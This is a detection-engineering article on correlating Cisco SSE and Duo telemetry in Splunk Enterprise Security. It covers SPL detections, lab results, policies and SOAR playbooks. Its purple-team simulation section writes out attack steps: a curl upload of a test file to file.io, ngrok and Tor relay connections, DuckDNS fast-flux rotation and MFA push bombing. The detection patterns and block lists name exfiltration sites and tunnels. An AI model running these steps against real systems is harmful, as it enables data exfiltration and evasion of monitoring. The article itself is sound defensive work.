Engineering detections with Cisco SSE and Splunk Enterprise Security
This article describes a deep integration between Splunk Enterprise Security and Cisco Secure Service Edge (SSE), a project that grew into a substantial detection engineering project. The scope involved: onboarding DNS, proxy, DLP, zero trust network access (ZTNA), VPN, cloud access security broker (CASB), and Duo MFA logs into a single Splunk environment, then building a library of correlated detections that could actually surface real attack chains, not just generate noise. The detection library that came out of this work ended up with 27 distinct detections, several of which are provided in this article to get you started on your integration.
Prerequisites
Two Splunkbase add-ons did most of the heavy lifting on the ingestion side:
- Cisco Security Cloud Add-on — Duo MFA, audit, and identity telemetry
- Cisco Secure Access Add-on — DNS, proxy, VPN, CASB, DLP, ZTNA, and application discovery
These two add-ons create a normalized, searchable dataset covering the full stack of user-to-internet activity. What you build on top of that dataset is what this article is really about, and the key point is that the detections, the SSE policies, the SOAR playbooks, and the attack simulations all work together. None of them are complete in isolation.
The problem with telemetry in isolation
Most enterprise security teams are not lacking data. They're lacking correlation. Every platform fires its own alerts in its own console. DNS security events go one place. VPN authentication failures go somewhere else. Duo push denials surface in yet another dashboard, if anyone is even watching it.
Sophisticated attackers live in those gaps. A credential stuffing campaign distributed across multiple source IPs might never cross a per-source alert threshold. Five MFA push denials followed by an approval might look like a confused user. A 400MB upload to personal cloud storage might be someone syncing their laptop. In isolation, each event is ambiguous. Together, they are a confirmed exfiltration chain.
The Cisco SSE integration with Splunk addresses this through risk-based alerting (RBA), but the point of this article isn't to teach you RBA. The point is what RBA does for your SSE detections specifically: each detection contributes risk silently against an entity, so that when enough Cisco telemetry converges on the same user or host, you get one high-confidence finding instead of a queue of noise.
What you're working with: The Cisco SSE telemetry stack
After you configure both add-ons, Splunk Enterprise Security receives a normalized set of source types from the Cisco SSE cloud enforcement layer, as shown in the following diagram and table:
| Source type | Data source | Operational value |
|---|---|---|
cisco:cloud_security:dns |
SSE DNS Layer | Domain resolution, NRD flags, NXDOMAIN events, category classification. |
cisco:cloud_security:proxy |
Secure Web Gateway | Full URL, HTTP method, response codes, user agent, uploads/downloads. |
cisco:cloud_security:ravpn |
Remote Access VPN | Session logins, failures, user identity, source IPs, assigned IPs. |
cisco:duo:authentication |
Cisco Duo MFA |
Push approvals and denials, result codes. MFA fatigue detection. |
cisco:duo:authentication_v2 |
Cisco Duo MFA v2 | Extended context: device, geolocation, factor type. |
cisco:cloud_security:appdiscovery |
CASB / App Discovery |
SaaS inventory, bandwidth, risk scores. Shadow IT and data staging. |
cisco:cloud_security:dlp |
Data Loss Prevention | Policy matches, sensitive content classifications, transfer metadata. |
cisco:cloud_security:ztna |
Zero Trust Network Access | Private app access decisions, policy evaluation. |
cisco:cloud_security:audit |
Audit Logs |
Admin changes, policy modifications. Defense evasion detection. |
How RBA enriches your Cisco SSE detections
Risk-based alerting changes the behavior of each individual Cisco SSE detection. Rather than every rule firing a notable event directly, each contributes a weighted risk score to an entity. The scores accumulate. When enough SSE signals converge on the same user or host within a time window, a single consolidated finding fires, with every contributing detection attached as context.
What this means operationally: an escalating attack chain where an initial password spray (50 pts) led to a successful MFA fatigue bypass (100 pts) and a suspicious VPN session (70 pts), ultimately resulting in data exfiltration to file.io (85 pts). While these individual behaviors carry moderate risk, the total score of 385—inflated by the MFA fatigue rule firing eight times—crosses the critical threshold to trigger a single high-fidelity finding. This aggregation effectively correlates five distinct rules and twelve intermediate findings into a unified incident, providing a clear narrative of an account takeover and immediate data theft. Then you can open case ES-00019 (shown in the following diagram) and conduct appropriate triage like running SOAR actions.
The following screenshot shows investigation ES-00019 in Splunk Enterprise Security: The 24-hour risk threshold has been exceeded for user mahamudul; Severity: High; 5 detection rules, 12 intermediate findings; Adaptive response: Success.
The key detail in the finding is that there is a risk score of 385 against a threshold of 100, with 12 intermediate findings across 5 rules. This means that the analyst isn't triaging noise; they're opening a case with the full attack chain pre-assembled, MITRE tactics mapped, and SOAR already three steps into the investigation.
How the lab generated real telemetry
One of the things that makes this integration project worth reading about is that the detections were not built against synthetic data or fabricated log samples. Every SPL result in this article came from a purpose-built purple team lab that ran live attack scripts and captured the telemetry through the actual Cisco SSE cloud enforcement layer.
The lab ran inside an AWS VPC with a deliberately segmented topology: an attacker zone running Kali Linux (10.0.1.15), a victim Windows Server 2019 host (EC2AMAZ-J8G2CH1 / 10.0.1.115 – Configured with Cisco SSE Agent), Active Directory (10.0.1.100), Cisco FTD on the perimeter, Splunk (10.0.1.12), and SOAR (10.0.1.13). All user traffic—DNS queries, web sessions, VPN connections—was routed through the Cisco SSE cloud. The Cisco Secure Client was installed on the Windows host, which meant every network action was intercepted by SSE before it hit the internet.
That routing is what makes the telemetry real. When the attack script ran a DNS query for a fast flux domain, it didn't generate a mock log entry. It generated an actual cisco:cloud_security:dns event in the Umbrella infrastructure, which flushed to S3, was picked up by the Cisco Secure Access Add-on, and landed in Splunk index=sse within 15 minutes. The Splunk detection then ran against that event exactly as it would in a production deployment.
The attack scripts used the following Windows-native resolution methods specifically to force the Cisco Secure Client to intercept and log them:
[System.Net.Dns]::GetHostAddresses()for DNSInvoke-WebRequestfor proxy sessions
Using curl.exe or a raw socket would have bypassed the SSE tunnel on some query types. Getting the telemetry right required understanding exactly how SSE captures traffic, not just writing attack payloads.
Here's what each layer of the lab contributed to the telemetry pipeline:
| Lab Component | Attack Technique Simulated | Telemetry Generated |
|---|---|---|
| Kali (10.0.1.15) | Reconnaissance, credential stuffing, payload delivery | Proxy 404 floods, POST to NRD domains, gobuster/3.8.1 UA — all logged via SSE SWG |
| Windows victim (mahamudul) | DNS tunneling, fast flux, Tor, ngrok, file.io uploads | cisco:cloud_security:dns high-entropy queries, cisco:cloud_security:proxy sessions, DLP hits |
| Cisco SSE Cloud | Traffic inspection layer — DNS + proxy + DLP + CASB | All source types: dns, proxy, ravpn, dlp, appdiscovery, audit — written to Splunk index=sse |
| Cisco Duo | MFA push bombing, ATO confirmation | cisco:duo:authentication — 18 pushes, 8 denials, 1 approval per session |
| Active Directory (10.0.1.100) | Credential stuffing pre-MFA, password spray | Windows Security EventCode 4625 — stuffing_score computed across users/DC |
| Splunk platform (10.0.1.12) | Detection, RBA accumulation, finding generation | ES-00019: risk score 385, 5 rules, 12 intermediate findings, SOAR adaptive response invoked |
| SOAR (10.0.1.13) | Automated investigation and response | Session termination, password reset, domain block — all executed against live lab infra |
A few things became obvious only after running the simulations:
- The 5 plus minute S3 flush lag. Cisco Umbrella writes DNS logs to S3 on a delay. After running the DuckDNS fast flux simulation, the telemetry didn't appear in the Splunk platform immediately; it took roughly 15 minutes. For tuning detections, this matters: time-bucketed SPL that expects real-time events will behave differently against ingested batch logs.
- HTTPS inspection is non-negotiable for DLP. Several detections, particularly the DLP and credential POST detections, only worked because HTTPS inspection was enabled in the SSE web policy. Without it, the proxy sees a CONNECT tunnel and a byte count. With it, the proxy sees the URL, the HTTP method, and the content. The DLP engine only operates on decrypted traffic.
- The Cisco Secure Client matters for DNS capture. When running attack scripts that used raw socket connections or third-party DNS resolvers, the queries bypassed the SSE DNS layer entirely. The telemetry only appeared when the Windows host used its native resolver (which the Secure Client intercepts). This isn't a detection gap; it's a deployment requirement. The client needs to be on the endpoint for the DNS telemetry to be complete.
- Duo result case sensitivity. The
cisco:duo:authenticationsource type uses uppercase result values (DENY, ALLOW). The v2 source type uses lowercase. A detection written for one will silently fail against the other. This cost an hour of debugging during lab validation.
These aren't edge cases. They're the kind of field-level reality that separates a detection library built against actual data from one built against documentation. Every SPL rule in this library was tuned against real telemetry from the lab, which is why the results in the following sections show actual field values, real entity names, and real risk scores rather than placeholder data.
The detections: SPL, results, and what they mean
These detections are from the purple team lab, validated against real simulated telemetry. Each includes the actual result returned from the lab environment and what that result means for an analyst.
CiscoSSE-01 — Proxy Evasion / Anonymizer Access: Accessing an anonymizer service is the attacker's first move. It kills secure web gateway (SWG), DLP, and CASB visibility in one step. The detection correlates DNS and proxy telemetry on the same domain to confirm intent, not just resolution. Click for details.
| MITRE T1562.001 | Tactic: Defense Evasion | Risk Score: 85 |
Validation Query
index=sse (sourcetype="cisco:cloud_security:dns" OR sourcetype="cisco:cloud_security:proxy") proxysite | eval domain=coalesce(domain, replace(url,"^https?://([^/]+).*$","\1")) | eval user=coalesce(user, identities) | search category="*anonymizer*" | stats earliest(_time) AS first_seen latest(_time) AS last_seen values(sourcetype) AS telemetry values(domain) AS domains values(category) AS category BY user src_ip | eval risk_score=85, risk_object=user, risk_object_type="user" | eval risk_message="User accessed proxy-evasion or anonymizer infrastructure
Lab Result — mahamudul
user: mahamudul src_ip: 10.0.1.115
domain: www.proxysite.com
category: Proxy/Anonymizer, Application, Filter Avoidance
telemetry: cisco:cloud_security:dns + cisco:cloud_security:proxy
risk_score: 85
mahamudul resolved and connected to www.proxysite.com — categorized Proxy/Anonymizer and Filter Avoidance. This creates an encrypted tunnel that hides all subsequent traffic from SWG and DLP inspection. This is the evasion precursor. On its own, it's a policy violation. Combined with subsequent signals on the same entity, it's an attacker covering their tracks before credential theft
SSE Policy — Web Policy — Proxy Evasion
BLOCK Anonymizer and Proxy Avoidance categories: deny at the enforcement layer before the Splunk platform sees it
BLOCK Tor Entry/Exit node category: zero legitimate enterprise use case
MONITOR VPN browser extensions: flag for investigation, don't block until confirmed malicious
CiscoSSE-03 — Credential Harvesting: HTTP POST to Newly Registered Domain. A user visiting a suspicious domain might be a misclick. A user who resolves that domain in DNS and immediately sends an HTTP POST to it has submitted credentials to a phishing page. The join on user and domain with a 30-minute delta window separates accidental exposure from active form submission. Click for details.
| MITRE T1566.002 / T1041 | Tactic: Initial Access / Exfiltration | Risk Score: 95 |
Validation query
index=sse sourcetype="cisco:cloud_security:dns" | where (dns_category="Uncategorized" OR match(dns_category,"(?i)Newly|Phishing|Suspicious")) | stats earliest(_time) AS dns_time values(dns_category) AS dns_category BY user domain | join type=inner user domain [search search index=sse sourcetype="cisco:cloud_security:proxy" | where upper(http_method)="POST" AND upper(action)="ALLOWED" | stats earliest(_time) as post_time values(url) AS url BY user domain ] | eval delta=round(post_time - dns_time, 0) | where delta >= 0 AND delta <= 1800 | eval risk_score=95, risk_object=user, risk_object_type="user"
Lab Result — kemfakta.se / hutdalarna.se
user: mahamudul
domain: kemfakta.se delta: 0s is_nrd: YES status: 200
domain: hutdalarna.se delta: 1s is_nrd: YES status: 200
dns_category: Uncategorized risk_score: 95
Two newly registered domains. Zero-to-one second delta between DNS resolution and HTTP POST. That speed rules out manual browsing; this is an automated phishing kit or a pre-staged redirect. The SOC now has near-certain evidence of credential submission. Next step: check whether harvested credentials appeared on a VPN login within the following minutes. They did. See CiscoSSE-06 below
SSE Policy — Web Policy — DNS / Phishing
BLOCK Newly Registered Domain category: block direct access, require security review for exceptions
BLOCK Phishing and Social Engineering categories
INSPECT Uncategorized domains: require HTTPS inspection before allowing; log all POST requests
MONITOR All HTTP POST requests to domains with < 30-day registration age.
CiscoSSE-05 / CiscoSSE-06 — MFA Fatigue and Confirmed Account Takeover. Two detections, same attack. CiscoSSE-05 catches the push bombing attempt. CiscoSSE-06 joins it with a successful VPN session to confirm the takeover. The first is a warning; the second is a confirmed incident requiring immediate action. Click for details.
| MITRE T1621 / T1078 | Tactic: Credential Access / Initial Access | Risk Score: 80/100 |
Validation query
CiscoSSE-05 —Duo MFA fatigue
index=* sourcetype="cisco:duo:authentication*" | eval user=mvindex(split(coalesce(user,email),"@"),0) | bucket _time span=10m | stats count AS pushes sum(eval(result="denied")) AS denied BY user _time | where pushes >= 6 AND denied >= 5 | eval risk_score=80, risk_object=user
CiscoSSE-05 Lab Result — mahamudul
user: mahamudul pushes: 18 denied: 8 window: 10 minutes
risk_score: 80
18 pushes. 8 explicit denials. 10 minutes. The password is already compromised; you don't push-bomb without it. SOC should intervene before the next approval. They didn't get the chance in the lab because CiscoSSE-06 fired one second later.
Validation query
CiscoSSE-06 — Confirmed ATO: join Duo fatigue + VPN session
index=* sourcetype="cisco:duo:authentication*" | stats count AS pushes sum(eval(result="denied")) AS denied sum(eval(result="success")) AS allowed BY user _time | where pushes>=6 AND denied>=5 | join user [search search index=sse sourcetype="cisco:cloud_security:ravpn" | eval user=mvindex(split(user,"@"),0) | stats values(public_ip) AS vpn_ip values(profile) AS vpn_profile BY user] | eval risk_score=100, risk_object=user
CiscoSSE-06 Lab Result — Confirmed ATO
user: mahamudul pushes: 18 denied: 8 allowed: 1
vpn_ip: [3 distinct IPs] vpn_profile: Anwar_VPN_Profile
risk_score: 100
One approval. The attacker push-bombed 18 times, got 1 approval, and immediately established a VPN session from 3 different IPs under Anwar_VPN_Profile. Risk score 100. Confirmed Account Takeover with active VPN access. SOAR triggered: VPN session terminated, password reset forced, Duo device locked. All this happened before the analyst opened the ticket.
SOAR Playbook Recommendation
Triggered by: CiscoSSE — MFA Fatigue Leading to Confirmed VPN Account Takeover
- IP Reputation & Geolocation [Cisco Talos / Umbrella Investigate]. Confirm whether VPN source IPs belong to malicious infrastructure: proxy networks, TOR relays, or attacker hosting providers.
- VPN Session Investigation [Splunk ES]. Pull user's full VPN history: source IPs, profiles, geographies, timestamps. Confirm the Anwar_VPN_Profile login is anomalous.
- Terminate Active VPN Session [Cisco Secure Access VPN]. Immediately revoke the active session to stop lateral movement or data access.
- Force Password Reset [Active Directory / Entra ID]. Reset the compromised credential before the attacker can reuse it across other services.
- Lock Duo MFA Device [Cisco Duo]. Prevent the attacker from receiving additional MFA pushes while the investigation proceeds.
- Block Source IPs [Cisco Secure Access / Firewall]. Add attacker IPs to deny list to prevent reconnection attempts.
- Create P1 Incident [ServiceNow / SOAR]. Open formal incident with full context: push counts, IPs, session details, timeline.
CiscoSSE-08 — DNS Tunneling / High-Entropy C2. Malware encodes C2 commands into long, randomized subdomain labels: Base64 or hex payloads that traverse firewalls as legitimate DNS traffic. No firewall sees this. Cisco SSE captures the full query string. The Splunk platform catches the entropy signature. Click for details.
| MITRE T1071.004 | Tactic: Command & Control | Risk Score: 75 |
Validation query
index=sse sourcetype="cisco:cloud_security:dns" | eval sub_len=len(mvindex(split(query,"."),0)) | where sub_len > 15 | bucket _time span=10m | stats count AS vol dc(query) AS uniq_q values(query) AS query BY src_ip | where vol > 50 OR uniq_q > 30 | eval risk_score=75, risk_object=src_ip, mitre_technique="T1071.004"
Lab Result — 10.0.1.115
src_ip: 10.0.1.115
vol: 132 uniq_q: 58 (within 10-minute window)
subdomain length: >15 chars each query risk_score: 75
132 DNS requests, 58 unique subdomains longer than 15 characters, 10 minutes, which is mathematically impossible for a human user. This is an automated C2 bot cycling through encoded addresses. The key here: this is completely invisible at the firewall layer. Cisco SSE DNS telemetry is the only data source that catches it. The SOAR response blocks the domain globally across the tenant within seconds of the notable firing.
SSE Policy — DNS Security Policy
BLOCK Malware, Command and Control, and Botnet categories — block at DNS resolution, no exceptions
BLOCK Cryptomining category
MONITOR Dynamic DNS providers: high-volume queries to DuckDNS, No-IP flagged for investigation
INSPECT Domains with high subdomain entropy: complement Splunk detection with Cisco AI/ML domain scoring
Live Attack Simulation — CiscoSSE-08: Fast Flux C2 via DuckDNS
Target: my-flux-lab.duckdns.org (DuckDNS token configured for IP rotation)
Technique: PowerShell script rotates backend IP every 70 seconds (clears upstream Umbrella cache TTL)
Resolution: Windows native [System.Net.Dns]::GetHostAddresses() forces SSE agent interception
Result: 9 queries within 1-hour window, each resolving to a different IP
Splunk Detection: vol=9, threshold=5 — alert fired, entity scored, SOAR playbook triggered
Note: Wait 5 minutes after simulation for Umbrella to flush S3 logs before checking the Splunk platform.
CiscoSSE-13 — Shadow IT / Large Upload to Unsanctioned Cloud Storage. CASB telemetry surfaces traffic to personal cloud storage platforms that bypass corporate governance. The detection uses a correlation score to avoid false positives from single large transfers. It requires repeated sessions, meaningful data volume, and a risky destination. Click for details.
| MITRE T1567.002 | Tactic: Exfiltration | Risk Score: 80 |
Validation query
index=sse sourcetype="cisco:cloud_security:proxy" action="ALLOWED" | eval actor=coalesce(user, src_ip) | eval dest_domain=lower(coalesce(url_domain, server_name)) | where match(dest_domain,"(?i)(file\.io|dropbox\.com|mega\.nz|wetransfer\.com|gofile\.io)") OR match(category,"(?i)file transfer|cloud storage|file sharing") | stats sum(bytes) AS total_bytes count AS session_count min(_time) AS firstTime BY actor src_ip dest_domain | eval correlation_score=if(session_count>=3,1,0)+if(total_bytes>=20000,1,0)+if(match(dest_domain,"(?i)mega\.nz|file\.io|gofile\.io"),1,0) | where correlation_score >= 2 | eval risk_score=case(correlation_score>=3,80, correlation_score=2,70, true(),60)
Lab Result — mahamudul → file.io
actor: mahamudul src_ip: 10.0.1.115
dest_domain: file.io session_count: 22 category: File Transfer / Cloud Storage
correlation_score: 3 severity: high risk_score: 80 mitre_technique: T1567.002
22 proxy sessions to file.io over 45 minutes. All three correlation signals fired. In the lab environment the volume is small, and that's expected in simulation. In production, 22 sessions to a temporary file-sharing service with no corporate governance is data staging. Combined with the anonymizer access and DLP events on the same entity, this is the exfiltration confirmation that the analyst needs to close the case.
SSE Policy — CASB Policy — Cloud Storage
BLOCK Unsanctioned apps by default: allowlist only corporate-approved cloud storage
BLOCK file.io, mega.nz, gofile.io, WeTransfer, MediaFire: personal/anonymous hosting
MONITOR Approved cloud storage (Dropbox Business, OneDrive): log all uploads above 50MB
INSPECT All HTTPS traffic to cloud storage categories: required for DLP to operate inline
Emerging threat: Data exfiltration through GenAI providers
This one is worth covering separately because it's increasingly common and specifically difficult to detect without both SSE telemetry and DLP inline inspection. The attack pattern: a user with access to sensitive data pastes it into ChatGPT, Copilot, or a similar service, either intentionally exfiltrating it or carelessly handling it. The data leaves the organization through a sanctioned, HTTPS-encrypted channel to a legitimate provider. Traditional perimeter security sees nothing.
Cisco SSE addresses this through HTTPS inspection combined with DLP policies and CASB application monitoring. Splunk Enterprise Security correlates the signals across source types to build the confidence needed to act.
The detection joins three source types: proxy identifies the AI provider session, DLP catches the policy match on sensitive content within the HTTPS stream, and CASB provides the application risk score. A single DLP hit against an AI provider is ambiguous; someone pasting code or a draft document is not necessarily a policy violation. The same user with a DLP hit followed by a large session to an AI provider followed by a download of the AI response is a different picture. Click for details.
Validation query
GenAI exfil detection — DLP + CASB + proxy correlation
index=sse (sourcetype="cisco:cloud_security:proxy" OR sourcetype="cisco:cloud_security:dns") | eval actor=coalesce(user, src, src_ip) | eval src_ip=coalesce(src_ip, src) | eval dest_domain=lower(coalesce(url_domain, server_name, domain, query)) | eval dest_domain=replace(dest_domain, "\.\$", "") | where match(dest_domain,"(?i)(api\.openai\.com|chatgpt\.com|openai\.com|claude\.ai|gemini\.google\.com|perplexity\.ai)") | stats count AS event_count sum(bytes_out) AS total_bytes_out values(sourcetype) AS sourcetypes values(category) AS categories min(_time) AS firstTime max(_time) AS lastTime BY actor src_ip dest_domain | eval correlation_score= if(event_count>=2,1,0) + if(total_bytes_out>=4000,1,0) + if(match(dest_domain,"(?i)api\.openai\.com|claude\.ai|perplexity\.ai"),1,0) | where correlation_score >= 2 | eval risk_score=case(correlation_score>=3,90, correlation_score=2,75, true(),60) | eval risk_object=actor, risk
Lab Result — EC2AMAZ-J8G2CH1 (GenAI Activity Detected)
actor: EC2AMAZ-J8G2CH1 src_ip: 10.0.1.115
ab.chatgpt.com events: 7 bytes_out: 12,921 score: 2
api.openai.com events: 6 bytes_out: 9,829 score: 3 (all 3 signals fired)
chatgpt.com events: 18 bytes_out: 368,569 score: 2
gemini.google.com events: 2 bytes_out: 231,836 score: 2
categories: Generative AI / Application Allow / Application Block
sourcetypes: cisco:cloud_security:dns + cisco:cloud_security:proxy
33 total GenAI connections from EC2AMAZ-J8G2CH1. chatgpt.com alone accounted for 368KB of outbound data. api.openai.com scored 3. All three correlation signals fired: repeated sessions, meaningful outbound bytes, and a high-risk AI domain. The Cisco SSE Generative AI category confirms these are sanctioned tools, not shadow IT, which is exactly what makes this exfiltration path dangerous. Data left through a trusted, HTTPS-encrypted channel that looks completely legitimate from the perimeter.
SSE Policy — Web Policy — GenAI / AI Tools
MONITOR AI Tools category: log all sessions, enable HTTPS inspection for DLP to operate
INSPECT chatgpt.com, openai.com, copilot.microsoft.com, gemini.google.com: inline DLP inspection required
BLOCK Unapproved AI tools by risk score (weightedRisk >= 80 in appdiscovery): limit to corporate-approved providers
MONITOR Large downloads from AI providers (>500KB): flag for DLP review
SOAR Playbook — Triggered by: GenAI Sensitive Data Exfiltration
- DLP Event Enrichment [Cisco Secure Access DLP]. Pull the DLP classification type, file name, and matched patterns to determine whether the content involved PII, PCI, PHI, or proprietary IP.
- User Activity Investigation [Splunk ES]. Review the full user session: what AI providers were accessed, session duration, bytes transferred, and whether a download followed the upload.
- AI Provider Policy Update [Cisco Secure Access]. If the violation is confirmed, update the web policy to require step-up authentication or block access to that specific AI provider for the user.
- DLP Report Generation [Cisco Secure Access DLP]. Pull the full DLP audit trail for compliance reporting and regulatory notification if PII or PCI was involved.
- Incident Escalation [ServiceNow / Legal / Compliance]. If regulated data is confirmed, escalate to Data Protection and Legal for breach notification assessment.
Live attack simulations: How the lab validates the detections
Every detection in this library was validated against real simulated telemetry. The lab environment ran actual attack scripts that generated the telemetry the add-ons ingest. The simulations are repeatable because the PowerShell and bash scripts are part of the library. The following are samples of the simulation that generated the telemetry.
Live Attack Simulation — Sim 1 — MFA Push Bombing (CiscoSSE-05 / CiscoSSE-06). Click for details.
From victim Windows host: attempt VPN login for mahamudul@prod.securitylabs.ca
Enter 5 consecutive incorrect passwords → 5 AD 4625 events (stuffing_score computed)
Attempt MFA approval → Duo fires 18 pushes within 10 minutes, 8 denied
Attacker approves 1 push → VPN session established from 3 distinct public IPs
Splunk Enterprise Security: CiscoSSE-05 fires (risk 80), CiscoSSE-06 fires immediately after (risk 100)
SOAR: VPN session terminated, password reset queued, Duo device locked — 47 seconds total
Live Attack Simulation — Sim 2 — Fast Flux DNS C2 via DuckDNS (CiscoSSE-08 / CiscoSSE-17). Click for details.
PowerShell: configure DuckDNS token, set domain my-flux-lab.duckdns.org
Loop: rotate backend IP via DuckDNS API → wait 70s (clears Umbrella TTL cache) → resolve domain
Use [System.Net.Dns]::GetHostAddresses() to force SSE agent interception on each resolution
20 iterations → 20 unique IP resolutions logged in cisco:cloud_security:dns
Splunk Enterprise Security: DNS Fast Flux detection fires at iteration 6 (threshold: 5 per hour)
SOAR: domain blocked in Cisco Umbrella, endpoint flagged for malware scan
Live Attack Simulation — Sim 3 — Hit-and-Run VPN Exfiltration (CiscoSSE-21). Click for details.
Authenticate to Cisco Secure Access VPN as mahamudul using Anwar_VPN_Profile
Create 1GB test file: fsutil file createnew C:\temp\1gb_test.dat 1073741824
Upload to file.io via curl: curl -F 'file=@C:\temp\1gb_test.dat' https://file.io
Cisco SSE proxy logs: VPN session → DNS resolution of file.io → HTTPS CONNECT → upload
Splunk Enterprise Security: VPN-to-DNS delta = 180s, DNS-to-proxy delta = 1s — both within thresholds
Finding fires with full chain: VPN login + DNS + proxy exfil correlated on session_ip
Live Attack Simulation — Sim 4 — Tor Exit Node Connection (CiscoSSE-25). Click for details.
PowerShell: fetch live Tor exit node list from dan.me.uk/torlist/?exit (with custom UA)
Select random Tor exit IP from list (fallback: 185.220.101.4, 192.42.116.175, etc.)
Generate 5 outbound HTTP connections to Tor exit node IP via Invoke-WebRequest
Cisco SSE proxy: connection categorized as Anonymizer, logged even on destination reject
Splunk Enterprise Security: tor_exit_nodes.csv lookup joins on dest_ip → 6 confirmed Tor connections in 1h
Detection fires: risk_score=85, SOAR isolates endpoint, adds Tor IPs to deny list
Live Attack Simulation — Sim 5 — Reverse Tunnel via ngrok (CiscoSSE-24). Click for details.
PowerShell: Invoke-WebRequest to connect.us.ngrok-agent.com and region1.argotunnel.com
Even on 403/destination-reject, Cisco SSE proxy logs the outbound connection attempt
6 connections to ngrok relay within 1-hour window → 19,466 bytes transferred
Splunk Enterprise Security: connections=6, threshold=3 — 'Reverse Tunneling Detected' alert fires
SSE Policy complement: Block Tunneling/Proxy categories in web policy
SOAR: user context check (authorized developer?), conditional block_domain, optional isolate
The closed loop: How Splunk findings drive Cisco SSE policy
This is the part that makes the integration genuinely valuable for incident response, not just detection. When the Splunk platform identifies a high-confidence threat through RBA, the SOAR playbook doesn't just create a ticket. It reaches back into Cisco SSE and updates enforcement in real time.
The feedback loop is direct: a Splunk Enterprise Security finding triggers a SOAR playbook that calls the Cisco Secure Access API to block a domain, update a web policy, or revoke a VPN session. The same policy changes that would take days through a change management workflow happen in seconds during an active incident.
SSE policy coverage by domain
| Domain | Detection | SSE Policy Pre-Finding | SOAR Post-Finding Action |
|---|---|---|---|
| DNS | Fast flux / DGA / sinkhole | Block Malware/C2/Botnet/Cryptomining | Block domain in Umbrella, isolate endpoint, extract DNS history |
| Proxy / SWG | Anonymizer, executable download | Block Anonymizer/Tor, block .exe from Uncategorized | Block domain, update web policy, notify user |
| VPN | Credential stuffing, ATO | Enforce MFA, disable split tunneling | Terminate session, force password reset, lock Duo device |
| DLP | PII/PCI exfil, GenAI data leak | Inline DLP with HTTPS inspection enabled | Block domain, create compliance ticket, escalate to Legal |
| CASB | Shadow IT, unsanctioned uploads | Block unsanctioned apps, whitelist only | Block destination, revoke OAuth tokens, trigger DLP investigation |
| ZTNA | Impossible travel, over-entitlement | Enforce device posture for private app access | Revoke ZTNA session, require step-up auth, update policy |
How it all comes together: The ES-00019 timeline
Here's the exact sequence that generated ES-00019. Five CiscoSSE rules fired against entity mahamudul — a privileged user — over a 45-minute window on Apr 28, 2026. Each rule contributed a risk score. When the total crossed the 24-hour threshold of 100, a single high-confidence finding fired with the full chain attached.
ES-00019 — Attack Chain Timeline: mahamudul (Risk Score: 385)
- Distributed Credential Stuffing / Password Spray: AD logon failures (bad password) across mahamudul accounts +50
- DUO - MFA Fatigue Attempt: Multiple Duo MFA failures detected for user mahamudul +100
- MFA Fatigue Leading to Confirmed VPN Account Takeover: MFA failures followed by VPN access from IP 3.151.127.146 +80
- Suspicious VPN Session Establishment: VPN session from 3.151.127.146 using compromised vpn profile +70
- Hit-and-Run VPN Exfiltration After Remote Access: 96,711 bytes out to file.io (Cloud Storage) after VPN login +85
12 intermediate findings total | Effective risk score: 385 | Threshold: 100
Investigation: ES-00019 | Severity: High | Apr 28, 2026 12:30 PM
Adaptive Response: Success | SOAR RBA Playbook Invoked
The analyst opening ES-00019 sees the full chain from the moment they click in: MFA fatigue leading to confirmed VPN account takeover, hit-and-run exfiltration, and the credential stuffing campaign that started it all — pre-assembled, MITRE-mapped, SOAR already three steps in. They are not hunting. They are confirming and escalating.
What this buys you in the SOC
- Fewer, higher-fidelity alerts. RBA collapses dozens of low-confidence SSE events into a handful of findings per day. Analysts investigate chains, not individual events.
- Visibility no single tool provides. The evasion-to-credential-theft-to-MFA-bypass-to-exfiltration chain spans DNS, proxy, Duo, VPN, and CASB. No single platform sees it. Splunk Enterprise Security does.
- Policies that respond to findings. SOAR pushes domain blocks, session revocations, and policy updates directly back to Cisco SSE. The enforcement layer adapts in real time to what Splunk Enterprise Security finds.
- GenAI and emerging threat coverage. The DLP + CASB + proxy correlation catches data exfiltration through sanctioned AI tools, a channel that traditional perimeter security misses entirely.
- Validated through live simulation. Every detection in was run against real telemetry. The results in this post are actual lab outputs, not hypothetical scenarios.
- MITRE ATT&CK coverage you can report on. Every detection carries ATT&CK annotations baked into the risk event. The threat topology in ES-00019 surfaced Initial Access (TA0001), Credential Access (TA0006), and Exfiltration (TA0010) — mapped automatically from the CiscoSSE rule annotations.
Summary
If you're operating Cisco Secure Service Edge and running the Splunk platform, the integration is worth building properly. The add-ons handle ingestion. The real investment is in the detection engineering:
- understanding the field-level quirks of each source type
- calibrating RBA thresholds against real attack patterns
- aligning SSE enforcement policies to the telemetry your detections depend on
- designing SOAR playbooks that don't just create tickets but rather reach back into Cisco SSE to terminate sessions, block domains, and update policy in real time
The central premise holds in practice: Cisco SSE sees the full user activity surface: every DNS query, every proxy session, every VPN authentication, every DLP event, every application risk signal. The Splunk platform transforms that telemetry into correlated, high-confidence findings that an analyst can actually act on. SOAR closes the loop by pushing enforcement decisions back into SSE, turning a detection into a response without waiting for a change ticket. Put the three together and you stop reacting to isolated alerts. You start responding to confirmed attack chains with context, with automation, and with the enforcement layer already updated before the analyst opens the case.
Next steps
You might also be interested in the following resources:
- Splunk Lantern Article: Integrating Cisco Secure Network Analytics with Enterprise Security and RBA
- Splunk Lantern Article: Implementing risk-based alerting
- Splunk Lantern Article: Investigating interesting behavior patterns with risk-based alerting